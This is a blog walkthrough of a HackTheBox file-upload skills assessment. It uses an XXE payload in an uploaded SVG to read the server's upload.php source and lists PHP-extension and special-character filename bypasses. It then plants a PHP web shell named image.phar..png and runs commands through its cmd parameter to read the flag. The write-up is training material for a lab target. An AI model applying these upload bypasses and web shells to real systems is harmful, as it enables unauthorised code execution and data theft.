HackTheBox - File Upload Attacks - Skills Assessment Walkthrough


Scenario
You are contracted to perform a penetration test for a company's e-commerce web application. The web application is in its early stages, so you will only be testing any file upload forms you can find.
Try to utilize what you learned in this module to understand how the upload form works and how to bypass various validations in place (if any) to gain remote code execution on the back-end server.
Try to exploit the upload form to read the flag found at the root directory "/".
Walkthrough
Accessing the target URL redirects us to the following page:
After some browsing, we came across the 'Contact Us' page, which includes an image upload feature.
"Open and activate Burp Suite, fill in the fields, select an image, and click the green button. This triggers an HTTP POST request to /contact/upload.php
, uploading the image and returning it encoded in Base64:
And once we click the submit button:
At this point, we need to take two steps to achieve RCE:
1 – Identify the upload directory:
We need to determine where the uploaded files are stored, which requires finding a way to disclose that path.
2 – Upload a web shell:
We aim to successfully upload a PHP web shell, as the application is built with PHP (evident from the /contact/upload.php
endpoint).
First, let's try to access the upload.php
file on the server, as it might reveal the target directory where uploaded images are stored.
One technique to retrieve data from the server is through XXE injection. To attempt this, we'll first need to send an XML payload in the request body.
It’s worth trying to upload an SVG file, as it’s both an image format and written in XML.
Change the file name to use a .svg
extension and insert the basic XXE payload to retrieve data from the /etc/passwd
file.
We can see the upload succeeded, even though the Content-Type is set to image/png
, the file extension is .svg
, and the file does not contain the typical PNG MIME type or magic bytes.
This confirms the application is vulnerable to XXE injection. Let’s leverage it to retrieve the contents of the upload.php
file !
Since the upload.php
file contains PHP code that might cause issues, we need to use Base64 encoding to safely transmit the entire content.
We’ll use the PHP filter wrapper to Base64-encode upload.php
before retrieving its content:
Next, load the data into Burp Decoder:
And now, we have the complete code of upload.php
:
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
We can identify the lines responsible for handling the file name and storage location:
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
The logic shows that files are uploaded to /contact/user_feedback_submissions/<FILE_NAME>
, where <FILE_NAME>
is constructed as <date('ymd')>_<FILE_NAME_FROM_PARAMETER>
.
Here, y
represents the last two digits of the year (for example, 2025 → 25), m
is the numeric month, and d
is the numeric day.
So, if the current date is 13/07/2025 (DD/MM/YYYY), the file name will be formatted as 250713_<OUR_FILE>
.
Let's proceed with testing:
We can confirm that we've accessed the directory where the images are hosted.
The final step to achieve RCE is to upload a malicious PHP web shell.
We need to create a list combining:
A set of PHP extensions — let’s call this
<php_ext>
A set of special characters to help bypass the whitelist — let’s call this
<spec_char>
There will be four variations of these combinations:
Image.png<spec_char><php_ext>
Image.png<php_ext><spec_char>
Image<spec_char><php_ext>.png
Image.png<php_ext><spec_char>.png
<php_ext>
includes:
.php
, .php3
, .php4
, .php5
, .php7
, .php8
, .pht
, .phar
, .phpt
, .pgif
, .phtml
, .phtm
<spec_char>
includes:
%20
, %0a
, %00
, %0d0a
,/
, .\
,.
, …
, :
We can create a script in Bash or Python to generate the complete list of payloads, I will simply provide the instructions to ChatGPT.
Place the HTTP request in Burp Intruder, load the payload list containing all image filename variations, and set the PHP web shell code in the request body - making sure to keep the PNG magic bytes in the body, to bypass whitelist checks:
Before starting the attack, make sure to uncheck the payload encoding option to prevent special characters from being encoded:
After running the attack, we notice some requests have varying lengths. Upon closer inspection, we confirm that the image upload was successful:
Important Note:
Reviewing the source code of upload.php
can help identify which file names will pass the blacklist and whitelist checks, instead of using Burp Intruder for this purpose.
Now, we’ll focus on one file: image.phar..png
. On the server, it will be named 250713_image.phar..png
.
The full path to the file is:
http[:]//94.237.48.12:37591/contact/user_feedback_submissions/250713_image.phar..png
We will add a cmd
parameter containing the commands we want to execute on the server:
http[:]//94.237.48.12:37591/contact/user_feedback_submissions/250713_image.phar..png?cmd=<COMMAND>
First, let’s verify the web shell is working by running a simple whoami
command:
And just like that, we have an RCE !
Next, list all files in the root directory:
http[:]//94.237.48.12:37591/contact/user_feedback_submissions/250713_image.phar..png?cmd=ls+/
We notice a flag file named flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
.
Let’s take a look inside:
http[:]//94.237.48.12:37591/contact/user_feedback_submissions/250713_image.phar..png?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
Got the flag! 😎
Subscribe to my newsletter
Read articles from Ido Abramov directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
